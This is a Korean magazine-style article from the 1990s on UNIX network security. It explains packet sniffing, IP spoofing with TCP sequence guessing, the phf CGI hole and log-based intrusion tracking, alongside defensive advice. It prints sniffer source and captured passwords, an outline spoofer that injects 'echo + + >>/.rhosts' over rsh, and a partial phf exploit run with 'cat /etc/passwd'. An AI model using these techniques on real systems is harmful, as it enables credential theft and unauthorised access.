개인의 프바이버시 침해 문제는 관리자의 도덕성에 달려 있는데 외국에서는 시스템, 혹은 시큐리티 관리자는 반드시 선서를 거 친다고 한다.
보안을 일방적으로 강화하다 보면 컴퓨터의 편리성이 떨어진다고 하는데, 어느 선까지 보안을 강화하는게 바람직한가.
일례로 X윈도우 시스템의 보안을 강화하는 것으로 MIT-MAGIC-COOKIE 라는 토큰방식을 이용한 xauth라는 프로그램이 있다. 그러 나 이것의 사용방법은 가히 살인적이다. X 애플리케이션을 실행할 때마다 일일이 토큰을 넘겨줘야 하기 때문이다. 따라서 적당 한 선이 중요하다. 그리고 그것은 컴퓨터의 중요성에 밀접한 관계가 있다. 국가 정보기관의 호스트와 인터넷 실습용으로 사용 하는 대학의 낡은 워크스테이션을 비교해서 생각하면 된다. 실제로 국내의 많은 대학의 호스트들은 전혀 보안이 고려되고 있지 않아서 초보 해커들의 좋은 연습 대상이 되기도 한다.
적당한 선을 실용적으로 규정지어 본다면 "관리자의 메일박스에 사용자들로부터의 불평과 불만 메일이 시스템 로그 리포 트 메일보다 더 많이 쌓이는 때이다"
최신 해킹 유형들
최근에는 해킹기술이 고도로 발달돼 예전에는 상상할 수도 없었던 고난도의 해킹 기술들이 존재하게 됐다. 예전에는 기껏해봐야 관리자의 실수나 OS에서 실수를 한 프로그램들을 악용해 관리자의 권한을 얻는 것이 고작이었지만, 이제는 네트워크 상을 흘러다니는 정보의 기본단위인 패킷(packet: 네트워크상에 정보 를 송수신할 때 가장 기본이 되는 정보단위)을 하나하나 조작해 해킹을 하게 됐다.
이런 고난도 해킹의 예는 패킷 스니퍼링(packet sniffing)과, IP 스푸핑(IP Spoofing: IP 사기치기), NFS(Network File System) file handle guessing, dns server cache poisoning(네임 서버(IP 에 일대일 매치되는 네임 어드레스를 관리하는 호스트)에 잡 입해가짜 호스트들을 만들고 나오는 것) 등이 있는데 이중에서 스니퍼링과 스푸핑에 대해서만 다뤄 보기로 하자.
가장 심각한 해킹 기술, Sniffing
패킷들은 이더넷 케이블을 타고 전송이 된다. 이 패킷들은 어떤 유저가 어느 호스트에 로긴했다는 정보따위를 가지고 있는데, 이더넷 디바이스를 컨트롤해 흘러가는 패킷에서 원하는 정보인 유저들의 패스워드를 알아내는 것으로서 요즘 가장 심각한 문제가 되는 해킹 기술이다. 최근 해커들의 공격들의 통계를 내본 자료를 보면 스니핑에 의한 공격이 가장 많은 것으로 나타나고 있다.
스니퍼(Sniffer)란 무엇인가?
스니퍼는 네크워크의 한 호스트에서 실행되어 그 주위를 지나 다니는 패킷들을 엿보는 프로그램으로서 계정과 패스워드를 알아 내기 위해서 침입자들에 의해 자주 사용되는데 아무리 네트워크 보안에 신경을 쓴 호스트라도 주변의 호스트가 공격당해서 스니 핑을 위해 사용된다면 무력해질 수 밖에 없다. 이해를 돕기 위해 실제 스니핑 세션을 가지고 설명한다.
mordor# ./sniffit
Log started at => Mon Apr 8 20:29:04 [pid 10937]
-- TCP/IP LOG -- TM: Mon Apr 8 20:29:44 --
PATH: rohan.kaist.ac.kr(1270) => gondor.kaist.ac.kr(telnet)
STAT: Mon Apr 8 20:29:48, 30 pkts, 77 bytes [TH_FIN]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251) (255)(251)!(255)(251)"(255)(253)^E(255)(251)#(255)(251)$(255)(250)^X
: IRIS-ANSI-NET(255)(240)(255)(253)^A(255)(252)^Aaragorn
: evenstar
: cls
: du -s -k *
: elm awen
-- TCP/IP LOG -- TM: Mon Apr 8 20:31:57 --
PATH: mordor.kaist.ac.kr(2389) => gondor.kaist.ac.kr(telnet)
STAT: Mon Apr 8 20:32:24, 106 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)&(255)(251)&(255)(253)^C(255)(251)^X(255)(251)^_(255)(251) (255)(251)!(255)(251)"(255)(251)$(255)(253)^E(255)(251)#(255)(250)^_
: P
: ^X(255)(240)(255)(250)
: 9600,9600(255)(240)(255)(250)^X
: XTERM(255)(240)(255)(253)^A(255)(252)^Agaladriel
: shwjdtjr=JD
:
: setenv DISPLAY rohan.kaist.ac.kr:0.0
: ne
위는 스니퍼 프로그램을 돌린 결과이다. gondor, mordor, rohan은 M학과의 전산실의 기계들인데 이미 침입자는 mordor에서 루트 권한을 따냈었고 스니퍼 프로그램을 실행시키고 있다(스니퍼가 동작하기 위해서는 네크워크 디바이스의 조작이 필요한데 이는 루트(시스템 관리자)만이 할 수 있다). 그렇다면 물리적인 네크워크 구도에서 인접해있는 호스트들은 모두 스니핑을 당하게 된다 .
처음 블럭에서 rohan에서 gondor로 aragorn이라는 계정으로 telnet 로긴을 한 것이 잡혔는데 이때 패스워드가 evenstar임을 알 수 있다. 그리고 로긴 직후에 실행한 몇몇 명령까지 잡혔다. 일반적으로 스니퍼 프로그램은 비교적 작은 크기의 제한된 버퍼를 사용하는데 필요에 따라 그것을 늘이기도 한다.
이더넷의 설계상 약점과 네트워크 스니퍼의 원리
가장 일반적인 LAN의 구성 방법은 이더넷을 사용하는 것으로 주변에서 가장 쉽게 접하는 경우이다. 이더넷을 통한 통신 방법은 매우 간단하다. A라는 호스트가 B라는 호스트로 패킷을 보내고 싶다면 호스트 A는 B와의 배타적인 연결을 통하는 것이 아니라 그 패킷을 이더넷에 뿌린다. 그리고 그 패킷은 일반적으로 수신 주소의 호스트만이 받도록 기대된다. 즉 일반적으로 자신에게 오지 않는 패킷은 받지 않으므로 호스트 B만이 A가 보내는 패킷을 받게 된다.
그러나 그것은 기대 사항일 뿐 언제라도 깨어질 위험부담을 안고 있는 프로토콜이다. 네크워크 디바이스는 자신에게 오지 않고 다른 호스트를 향해 지나가는 패킷까지 받는 상태에 들어갈 수 있는데, 그때를 'Promiscuous mode'라고 부른다. 스니퍼는 바로 그 상태에서 동작한다. 이렇게 네트워크의 설계상의 커다란 약점이 있기 때문에 스니퍼에 의한 공격은 치명적이며 일부 OS를 제 외하고는 찾아내기가 곤란한 경우가 많고 막기 위해서도 많은 부담이 따른다.
스니퍼의 설계
스니퍼는 너무나 쉽고, 비열하게 해킹을 할 수 있기 때문에 해커들 간에서는 스니퍼를 이용하는 해커를 3류 취급해 상대도 하지 않는다. 이처럼 스니퍼는 해커들 사이에서조차 금기(?)시되는 치사한 프로그램이지만 그 자체로는 아주 훌륭한 네크워크 프로그 램이다. 실제로 대부분의 네트워크 분석 프로그램들은 Promiscuous mode에서 동작하며 또 그럴 수밖에 없다.
그리고 스니퍼의 핵심을 이루는 코드는 대부분의 OS에서 독립된 프로토콜로서 지원을 하는데 SunOS의 NIT, IRIX의 SNOOP이 좋은 예이다. 잘만 이용하면 침입자들을 상대하는 관리자들에게 큰무기가 될 수 있다. 네트워크를 감시하는 데 사용할 수 있다는 말 이다.
netlog(ftp://ftp.cert-kr.or.kr/pub/tools/etc/netlog/netlog-1.2.tar.gz)라는 좋은 툴이 이미 있다. 이 툴의 성격을 잘 말해주듯이 telnet과 ftp의 모듈은 제외돼 있다. 패스워드 스니핑에 사용되는 것을 막기 위함일 것이다.
스니퍼는 일반적으로 다음과 같은 일련의 동작을 하는 코드로 구성된다.
네트워크 디바이스를 열어서 Promiscuous mode로 만든다.
지나가는 모든 패킷을 읽는다.
패킷을 필터링해서 발신 및 수신 주소, 서비스(telnet, rlogin, ftp, smtp 등), 그리고 계정과 패스워드가 포함된 데이터를 구분해서 출력한다.
3번의 기능을 하는 코드가 생략된 스니퍼 소스를 참고로 소개한다. IRIX에서 SNOOP을 사용해 제작되었다.
/* sgisniff.c by poison@baikdu.kaist.ac.kr
uses SNOOP(7P)
tested on IRIX 5.2, 5.3 */
#include
#include
#include
#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))
struct etherpacket {
struct snoopheader snoop;
char pad[ETHERHDRPAD];
struct ether_header ether;
char data[ETHERMTU];
};
main()
{
int s;
struct sockaddr_raw sr;
struct snoopfilter sf;
struct etherpacket ep;
int cc = 60000, on = 1;
char buf[100];
s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
sr.sr_family = AF_RAW;
sr.sr_port = 0;
strncpy(sr.sr_ifname, "ec0", sizeof sr.sr_ifname);
bind(s, &sr, sizeof sr);
memset((char *)&sf, 0, sizeof sf);
ioctl(s, SIOCADDSNOOP, &sf);
setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
ioctl(s, SIOCSNOOPING, &on);
for (;;) {
cc = read(s, (char *) &ep, sizeof ep);
write(1, (char *)&ep, sizeof ep);
sleep(2);
}
}
스니퍼, 그 대책과 예방
스니퍼 탐지
스니퍼는 Promiscuous mode에서 동작하기 때문에 네크워크 디바이스의 상태 플래그에 'PROMISC'가 있다면 일단 스니퍼가 돌고 있다고 생각해도 좋다. SunOS 4.1.x 같은 BSD 계열의 유닉스나 IRIX에서는 'ifconfig'를 사용해서 스니퍼의 존재를 확인할 수 있 으나 대부분의 다른 유닉스(특히 Solaris)에서는 그것이 불가능하다.
[baikdu:/circ/kus/poison 2 ] uname -a
SunOS baikdu 4.1.3-KL 3 sun4m
[baikdu:/circ/kus/poison 3 ] ifconfig le0
le0: flags=163
inet 143.248.1.8 netmask ffffff00 broadcast 143.248.1.0
[eru:/eldar/people/poison 16 ] uname -a
IRIX eru 5.3 11091812 IP22 mips
[eru:/eldar/people/poison 17 ] ifconfig ec0
ec0:
flags=d63
inet 134.75.100.53 netmask 0xffff0000 broadcast 134.75.255.255
SunOS 4.1.3, IRIX 5.3 에서 스니퍼 프로그램을 실행시키면서 ifconfig로 확인하면 다음과 같다.
두 기계에서 모두 flags를 나타내는 행에 'PROMISC'가 있는 것으로 스니퍼가 확인된다. SunOS 4.1.x에서 사용가능한 cpm이라는 프로그램이 있는데 ifconfig로 플래그를 조사하는 것과 같은 기능을 가진다. 일반적으로 스니퍼는 로그 파일을 만들어 데이터를 모은다. 따라서 그 로그 파일을 찾을 수 있으면 스니퍼를 찾기가 쉬어진다. 우선 다음과 같은 간단한 방법이 있다.
다른 호스트로 연결을 하면 스니퍼 로그 파일에 로그가 새로 만들어지게 되므로미리 만들어 두었던 /tmp/sniff_trap이란 파일을 기준으로 해 찾을 수가 있다. 단 빠른 결과를 위해 루트에서 프로세스의 우선권을 최대로 한다. 보다 확실히 하기 위해서 현재 열려져 있는 모든 파일의 리스트를 알 수 있다면 그 속에 스니퍼 로그 파일도 포함돼 있을 것이므로 스니퍼를 찾는데 도움이 된다. lsof(ftp://ftp.cert-kr.or.kr/pub/tools/lsof) 이라는 툴의 사용을 권한다.
스니퍼 로그 파일을 찾아 없앴다면 스니퍼 프로세스를 찾도록 노력해본다. 시스템을 리부팅하면 되겠지만 그보다 침입자를 추적 하고 싶다면 그 프로세스를 직접 찾아내는 것이 바람직하다. 루트로 실행되고 있는 프로세스중에서 수상한 것들을 찾는다. ./a.out, ./in.telnetd, in.uucpd 등으로 숨겨지는게 보통인데 알아내기 어렵잖다.
# touch /tmp/sniff_trap
# telnet gondor.kaist.ac.kr
SunOS UNIX (gondor)
login: blah
Password:
Login incorrect
login:^D
Connection closed by foreign host.
# nice -19 find / -newer /tmp/sniff_trap -print
BSD ps(/usr/ucb/ps)가 사용 가능하다면 e옵션을 추가해서 프로세스가 시작됐을 때의 환경변수를 알아내어 어떤 계정이 해킹에 사용됐는지를 알아낼 수 있다.
어떻게 예방해야 하나?
스니퍼에 대비하는 방법의 원칙은 패스워드가 네트워크를 통해 전달되지 않게 하는 것이다. 그것의 구현은 암호화를 이용하거나 (secure shell, kerberos) 패스워드를 대신하는 토큰을 이용(S/key)하는 것을 예로 들 수 있다. 그런 부류의 소프트웨어들은 상 당수가 제작돼있는데 그중 공개 소프트웨어인 ssh(Secure Shell: http://www.cs.hut.fi/ssh)이 사용하기에 가장 무난하다 . 이것은 패킷을 암호화해 sshd(서버)에게 보내는 ssh,scp(클라이언트)가 telnet, rlogin, ftp를 대신하는 패키지이다.
이제 좀더 고수준의 해킹 방법중의 하나인 spoofing에 대해서 알아보도록 하자.
IP 스푸핑이란?
spoof란 단어는 '속이다, 사기치다'는 뜻이다. 즉 쉽게 설명하면 해커가 머물러있는, 또는 단순히 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것이다. 가령 A란 호스트와 B란 호스트가 하드디스크를 공유하고 있는데 A 란 호스 트와 B란 호스트는 보안이 잘 되어서 해킹하기가 보통 어려운 것이 아니라고 하자.
하지만 어떻게서든지 B란 호스트안에 있는 일급 극비 문서를 훔쳐오고 싶다면 어떻게 해야 할까? 그렇다면 해커의 최선의 선 택 방법은 다음과 같다. 우선 자신이 머물러 있는 호스트의 IP 어드레스를 B의 어드레스로 위장을 한다. 위장을 하면 B 의 호스 트의 화면에는 duplicated IP address 라는 문장이 찍히게 되고 B호스트는 네트워크 기능을 잠시 상실하게 된다.
이때를 놓치지 않고 해커의 호스트는 A 호스트에게 자신이 진짜 B호스트라는 정보를 보내어 A호스트와 같이 하드 디스크를 공유 하도록 시도한다. 성공하게 되면 해커는 A호스트의 하드디스크에 있는 극비 문서를 A호스트나 B호스트에 잡입하지 않고도 얻어낼 수 있게 된다.
또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number guessing attack을 들 수 있다. 이에 대해서도 잠시 설명해볼까 한다.
TCP Sequence Number Guessing Attack이란?
과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서 인턴쉽으로 일할 때 썼던 논문에서 처음으로 알려 졌고 AT&T사의 Bellovin S.M이 89년에 쓴 논문에서도 언급이 되었던 공격 방법이다(Security Problems in the TCP/IP Protoc ol Suite).
케빈 미트닉이 사용한 방법
또한, 이런 공격을 이용해 작년도에 시큐리티계를 떠들석하게 했었던 사건이 하나 있다. 바로 케빈 미트닉이 시모무라 쓰토무( 슈퍼컴퓨터 센터 소속 연구원)의 컴퓨터를 공격해 자료를 빼간 뒤 관리자인 시모무라 쓰토무를 조롱하고 달아난 사건이다. 케빈 미트닉은 상당기간 동안 잡히지 않다가 시모무라 쓰토쿠의 눈물겨운 추적끝에 간신히 잡힌 것으로 이 사건은 결말나게 되었다. 케빈 미트닉이 체포되어 잡혀가면서 시모무라에게 "당신의 실력은 정말 놀라왔소." 라고 말해 더 유명해진 사건이기도 하다. 바로 이 사건에서 케빈 미트닉이 쓴 방법도 TCP Sequence Number guessing attack의 특별한 한 형태라고 할 수 있다 . (미트닉이 사용한 방법은 IP 어드레스를 spoof해서 Berkerly R-command(rlogin, rcp , rsh 등등)를 공격한 방법이었다.)
자 이제, IP Spoofing과 TCP Sequence number guessing attack을 자세히 알아보자. 간단히 A와 B라는 호스트가 서로를 trust하 고 있다고 가정하자. 자신의 PC의 IP 어드레스를 B라는 호스트로 바꾸고 A에게 접근하면 가능성이 있지 않겠느냐라고 의문을 제 기하는 분이 계실지도 모르겠으나 자신의 위치가 B라는 호스트가 위치한 곳보다 A보다 훨씬 더 시간적으로 유리한 위치, 즉 LAN 에서나 가능할 법한 이야기다. 그외의 경우에는 거의 소용이 없다고 보아도 무방하다..
자신의 IP 어드레스를 변조해도 B라는 trusted host가 A에게로 도달하는 거리가 멀뿐만 아니라. 자신의 서브넷에서 다른 IP 어 드레스를 가진 패킷을 날린다는 것은 라우팅상의 문제를 비롯해 갖가지 문제점이 제기된다.
그럼 케빈 미트닉이 Berkeley R-commands를 공격하는 경우를 예로 들어서 IP spoofing 이 어떻게 작용하나에 대해서 알아보기 로 하자. 예를 들어 해커의 호스트를 evil.com이라 하고 target.com을 공격하기 위해서 target.com과 good.com간의 trusting Re lationship을 이용하고자 한다. 즉 ,
target.com # cat /.rhosts
good.com root
target.com #
간단히 evil.com의 IP 어드레스를 good.com의 IP 어드레스로 바꾼 다음에target.com의 rsh server에 접속하려고 시도했다 하자. 이 경우에는 TCP가 갖고 있는 Initial 3-way 핸드셰이킹 때문에 커넥션이 이뤄지지 않는다. TCP의 Initial 3-way 핸드셰이킹 의 예를 우선 들어보자.
evil.com# telnet target.com login 할 경우
evil.com -> target.com SYN 1415531521
// evil.com이 Initial sequence number 를 보낸다.
target.com -> evil.com ACK 1415531521 SYN 1823083521
// target.com이 evil.com이 보낸 ISN을 ACK하고 target.com이 자신의
// Initial sequence number 를 보낸다.
evil.com -> target.com ACK 1823083521
// evil.com이 target.com의 ISN을 ACK한다.
위와 같은 패킷이 교환된다. TCP 헤더의 SYN 플래그는 'synchronize sequence numbers'이다. SYN 플래그는 TCP Sequence Number 를 동반하는데 이 넘버는 TCP/IP implementation마다 생성되는 방법이 약간씩 다르다. 4.4BSD에서는 OS가 초기화될 때 1로 초기 화되고 그 후는 0.5초마다 64,000씩 증가한다. 또한 새로운 TCP 커넥션이 만들어질 때마다 64,000씩 증가한다.
단순히 evil.com의 IP 어드레스를 바꾸는 것만으로는 target.com이 evil.com한테 보내는 ISN을 받을 수가 없고(왜냐면 target.c om은 good.com에게 ISN을 보내겠지요.라우팅이 그렇게 되어 있을 테니까.) 따라서 커넥션이 성립되지 않는다. 커넥션이 establis h될려면 good.com이 target.com이 보내는 ISN이 보내는 패킷에 응답을 하지 말아야할 뿐만 아니라(보통의 경우 good.com은 이 럴 경우 RST(Reset connection) 패킷을 보내서 모든 것을 망친다) target.com이 good.com에게 보낸 ISN을 추측해서 ACK해줘야 한다. 이 두 스텝이 완벽하게 됐을 경우 echo '+ +' > /.rhosts 을 담은 rsh 패킷을 보내 원하는 목적을 이룰 수가 있다.
IP spoofer의 대략적인 코드
hose_conn(trust_host, trust_addr, seq_num, port_num)
{
...
/* sendtcppacket(
struct ether_addr source_hardware addr.
struct ehter_addr dest_hardware addr.
u_long source ip addr.
u_long dest ip addr.
u_short source port.
u_short dest port.
u_long sequence no.
u_long acknowledge no.
int flags (SYN, RST, ACK, PUSH, FIN)
char * data
int strlen(data)
*/
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), bad_addr, trust_addr, port_num[i], 513, seq_num, 0, TM_SYN, NULL, 0);
...
}
det_seq(targ_host, targ_addr, next_seq, offset)
{
...
/ 커넥션을 요구하는 패킷의 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port, 514, start_seq, 0, TM_SYN, NULL, 0);
/* readpacket(
struct fddi_header fddi_header
struct ether_header ether_header
struct ip ip_header
struct udphdr udp_header
struct tcphdr tcp_header
char * data
int strlen(data) )
*/
while(readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL) != PTYPE_IP_TCP) ;
if(ntohs(tcph.th_dport)==start_port && ntohs(tcph.th_sport)==514) {
/ 포트번호가 맞다면 reply 패킷으로 간주하고 guessing을 시작한다 /
if(prev_seq) diff=tcph.th_seq-prev_seq;
else diff=0;
if(*offset==0) *offset=diff;
prev_seq=tcph.th_seq;
sendtcppacket(&(eh.ether_shost), &(eh_ether_dhost), my_addr, targ_addr, start_port++, 514, start_seq++, 0, TM_RST, NULL, 0);
...
}
spoof_conn(trust_addr, targ_host, targ_addr, next_seq)
{
char *string="0\0root\0root\0echo + + >>/.rhosts\0";
/ SYN 패킷을 고유한 시퀀스번호에 맞춰 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq++, 0, TM_SYN, NULL, 0);
usleep(5000);
/ guess한 시퀀스번호에 맞춰 ACK 패킷을 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq, ++next_seq, TM_ACK, NULL, 0);
/ rsh request를 시퀀스번호와 ACK번호에 맞추어 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq, next_seq, TM_ACK, string, stringlen);
seq+=stringlen;
/ 전송한 패킷이 ACK되어 처리되기를 기다린다 /
sleep(1);
/ 새로운 시퀀스번호에 맞추어 FIN패킷을 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq, next_seq, TM_FIN, NULL, 0);
/ RST패킷 전송, 커넥션 파기./
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq+4, next_seq+4, TM_RST, NULL, 0);
...
}
main(argc, argv)
{
/* initialization of the packet */
init_filter("tcp", NULL);
/* trusted host의 513번 포트에 대해 flooding 시작 */
hose_trusted(argv[1], trust_addr, seq_num, port_num);
/* guessing Sequence Number */
det_seq(argv[2], targ_addr, &next_seq, &offset);
/* 실제 spoofing한 커넥션을 시작. 이때에는 다음 시퀀스번호를 알고있다 */
spoof_conn(trust_addr, argv[2], targ_addr, next_seq);
/* 모든 커넥션을 reset. */
reset_trusted(argv[1], trust_addr, seq_num, port_num);
exit(0);
}
* IP spoofing 에 대해서는 다음의 정보를 참조하자.
ftp://ftp.research.att.com/dist/internet_security
Bellovin paper : ipext.ps.Z
-> "Security Problems in the TCP/IP Protocol Suite"
Morris paper : 117.ps.Z
-> "A Weakness in the 4.2BSD Unix TCP/IP Software"
CERT_advisory
CA-95:01.IP.spoofing
넷스케이프를 이용한 해킹
마지막으로 최근 많은 인기를 얻고 있는 넷스케이프를 이용해 해킹하는 기법에 대해 살펴보자.
NCSA HTTPD를 이용한 해킹
참조: CERT Advisory CA-95:04
CIAC Advisory F-11: UNIX NCSA httpd Vulnerability
NCSA HTTPD를 돌리는 호스트의 관리자들은 소스에 CERT Advisory CA-95:04에서 제시한 패치를 적용한 후 돌려주기 바란다. httpd 프로세스가 작동하는 동안 외부의 해커가 아무런 인증절차없이 NCSA httpd가 임의의 명령어를 수행하도록 할 수 있다. 비록 machine instruction level이어서 공격당하기 그리 쉬운 버그는 아니지만 주의가 요구되는 바이다. 현재 NCSA에서는 이 홀을 패치한 소스와 바이너리 버전 1.3R을 내놓고 있다.
또한 NCSA의 cgi-bin의 예제로 따라오는 프로그램중 phf라는 프로그램이 있다.이 프로그램의 문제는 popen(3S)이 새로운 라인이 들어올 경우 새로운 command 로 인식하기 때문에 문제가 발생한다.
cgi-bin 프로그램이 popen을 사용할 경우 다음과 같은 류의 프로그램을 이용해 쉽게 exploit될 수 있다. 아래의 코드는 기본적 으로 NCSA에 딸려오는 /cgi-bin/phf 를 이용하고 있다. 언론의 성격상 전부를 싣지는 않고 주요한 부분만을 싣는 것을 양해해 주기 바란다.
/*
Usage : get hostname 'command you wanna execute'
EX : get targethost 'cat /etc/passwd'
*/
/* 주요 함수 몇가지만을 적었다. */
int writen( fd , buf, nbytes )
register int fd ;
register char *buf ;
register int nbytes ;
{
int nleft , nwritten ;
nleft = nbytes ;
while( nleft > 0 ) {
nwritten = write( fd , buf , nleft );
if( nwritten <= 0 ) return(nwritten);
nleft -= nwritten ;
buf += nwritten ;
}
return( nbytes - nleft );
}
void make_cmd( char *cmd ,char *cmdinput)
{
char *tok;
char buf[100];
char *before = "GET /cgi-bin/phf?Jserver=life.sucks&Qalias=";
char *behind = "&Qname=&Qemail=&nickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip=\ n";
bzero(buf,sizeof(buf));
strcat(buf,"%0A");
tok = strtok(cmdinput," ");
strcat(buf,tok); strcat(buf,"%20");
while( (tok=strtok(NULL," ")) != NULL ){
strcat(buf,tok);
strcat(buf,"%20");
}
strcat(cmd,before);
strcat(cmd,buf);
strcat(cmd,behind);
}
해킹계의 현실
해킹은 안 좋은 인식이라는 것이 대부분의 중론이다. 하지만 시스템 관리자들의 대부분의 경험을 들어보거나, 그들의 의견을 들 어보면 해킹은 필요악이라는 인식을 많이 하고 있다. 멀티유저들을 위한 시스템이어서 보안상 완벽할 수 없다는 것이 수학적으로 증명된 상태이므로, 보안에 완벽은 기하지 못하더라도 최선을 기하기 위해서는 어느 정도 해킹에 대한 지식이 있어야 한다.
또한 시스템의 버그를 발견해서 버그 리포트를 발표한 대다수들은 모두 한 때 시스템 침입자로서의 경력을 가졌던 사람들이 대 부분이라는 것이 이를 반증해준다고 할 수 있겠다. 현재 테크닉이 뛰어난 해커들은 대학생들이 대부분인데, 이들은 자신들의 보 안에 대한 지식을 인정해주었으면 하는 바램을 갖고 있다.
해커 추적하기(Intrusion detection)
언제까지 해커에게 당하고만 있을것인가? 해커가 들어왔다면 추적을 해서 잡아내는 일 또한 중요하다고 할 수 있다. 이제 해커를 추적하는 방법에 대해 알아보기로 하자. 처음 시스템에 로그인하게 되면 다음과 같은 메시지를 보낼 것이다.
login: sakai
password:
Last login: Fri Mar 3 02:05:42 on console
SunOS Release 4.1.3-KLE1.1.3 (BARAM_KOR) #2: Sun Sep 26 10:16:21 KST 1993
You have mail.
1995년03월03일(금) 03시10분34초 KST
%
여기에 나타나는 Last login을 확인하고 자신이 로그인한 시간대가 아닌때에 로그인이 됐는가를 확인해 본다. 침입자가 들어온 것 같은 의심이 들 때 관리자에게 연락해 그 시간대의 로그와 프로세스를 확인해 추적을 하도록 한다. 혹은 위와 같이 자신의 시 스템 로그인 메시지를 확인하는 방법도 있지만, 다른 방법으로, last라는 명령을 이용, 자신의 시스템에 자신의 이름으로 들어온 유저를 찾을 수도 있다. 다음은 last의 예이다.
% last | more
ksh ttyqd casaturn.kaist.a Thu Mar 16 16:52 still logged in
chkim ttyr9 dal1.kaist.ac.kr Thu Mar 16 16:50 still logged in
hjha ttyqd danso.kaist.ac.k Thu Mar 16 16:49 - 16:51 (00:01)
hjha ttyra danso.kaist.ac.k Thu Mar 16 16:47 - 16:47 (00:00)
solee ttyra dangun.kaist.ac. Thu Mar 16 16:46 - 16:46 (00:00)
yjkim ttyr9 gaea.kaist.ac.kr Thu Mar 16 16:44 - 16:50 (00:05)
chkim ttyr9 dal1.kaist.ac.kr Thu Mar 16 16:42 - 16:43 (00:01)
drunken ttyra chagall.kaist.ac Thu Mar 16 16:40 - 16:40 (00:00)
shhong ttyra dbserver.kaist.a Thu Mar 16 16:39 - 16:39 (00:00)
jhlee ttyr9 paradise.kaist.a Thu Mar 16 16:38 - 16:39 (00:01)
hjha ttyra danso.kaist.ac.k Thu Mar 16 16:36 - 16:37 (00:00)
위의 예에서, last | grep myloginname을 입력하면, 자신의 ID로 언제 어디서, 누가 로그인했는지를 알 수 있게 된다. 숙련된 해커는 위의 last 정보가 유지된 시스템 파일을 지우고 가지만, 여기서는 비숙련 해커를 가정하고 명령을 쳐볼 수 있다. 또는 약 간은 먼 이야기이지만, 해커가 들어와서 어떤 일을 하고 갔는지를 알아내기 위해서는 lastcomm이라는 명령어가 있다. lastcomm은 지금 이시간까지 시스템에서 수행되었던 명령어들을 보여주게 된다. 만약에 lastcomm이 작동되지 않는다면 시스템 관리자가 다 음의 명령을 수행하도록 해야 한다.
% /usr/etc/accton /usr/adm/acct
% lastcomm | more
msgs ksh ttyp2 0.03 secs Thu Mar 16 16:58
less ksh ttyp2 0.06 secs Thu Mar 16 16:58
csh F ksh ttyp2 0.00 secs Thu Mar 16 16:58
csh F ksh ttyp2 0.00 secs Thu Mar 16 16:58
date ksh ttyp2 0.02 secs Thu Mar 16 16:58
stty ksh ttyp2 0.02 secs Thu Mar 16 16:58
stty ksh ttyp2 0.02 secs Thu Mar 16 16:58
biff ksh ttyp2 0.02 secs Thu Mar 16 16:58
hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
whoami ksh ttyp2 0.03 secs Thu Mar 16 16:58
hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
전문된 해커와 이를 막는 보안팀은 항상 여러가지 파일을 이용해서 보안을 체크하게 되며, last, lastcomm은 하나의 시작에 불 과하다. 이 절의 내용을 정리하면, 시스템에 로그인 하고 로그아웃하면 그 기록이 어딘가 남는다는 것인데. 다음의 네가지 파일 이 대표적이다.
/usr/adm/lastlog 각 유저마다 가장 최근의 로그인 시간을 기록한다.
finger 나 someone 에 의해 알 수 있다.
/etc/utmp 유저가 로그인 할 때마다 시간을 적어둔다.
/usr/adm/wtmp 유저가 로그인/로그 아웃할 때 시간을 적어둔다.
last 또는 last someone 의 명령을 쳐서 내용을 알수있다.
/usr/adm/acct 유저들이 사용하는 명령어를 적어둔다.
lastcomm 을 치면 내용을 알 수 있다.
하지만, 실제로 해커들은 이 모든 파일들을 지우고 나가는 것이 보통이며(생각을 보라, 나갈 때 자기가 들어왔다는 증거를 입멸 하고 나가는 것이 해커의 입장으로 서는 당연한 것이 아니겠는가), 따라서 일정한 시간 간격마다 혹은 하루의 어느 때에 수행하 도록 제어해주는 cron명령을 이용해 계속 위의 파일을 백업을 한다면 해커를 좀더 어렵게 만들 수 있겠다. 이는 관리자에게 필요 한 부분이지만, 안전한 호스트를 선택해 log만을 남기는 호스트를 두면 더욱 확실하다.(이는 물론 장비에 여유가 있을 때의 이야 기이다) 예를 들면,
/etc/syslog.conf 에서 정의를 하도록 하자.
#
# syslog configuration file
#
define LOGHOST eve
*.err;kern.debug;auth.notice;user.none /dev/console
mail.debug ifdef('LOGHOST',/var/log/syslog,@loghost)
mail.debug /var/log/syslog
로그 호스트를 설정한 예를 들어보자. 다음 로그는 로그 호스트인 eldar 의 로그 파일에 기록된 것이다. elbereth, luthien, be ren, eru, frodo, sam, aragorn, gandalf, faramir, legolasgimli, indigo1,3,4,10, applic이 eldar로 로그를 보내도록 설정돼있다.
Mar 17 02:43:28 6C:eldar fingerd[17516]: connect from baikdu.kaist.ac.kr
Mar 17 02:43:42 6D:eldar ftpd[17518]: connection from baikdu.kaist.ac.kr
Mar 17 02:43:54 5E:eldar ftpd[17518]: FTP LOGIN FAILED FROM baikdu.kaist.ac.kr,
chester
Mar 17 02:44:15 6E:eldar ftpd[17518]: FTP LOGIN FROM baikdu.kaist.ac.kr as chester
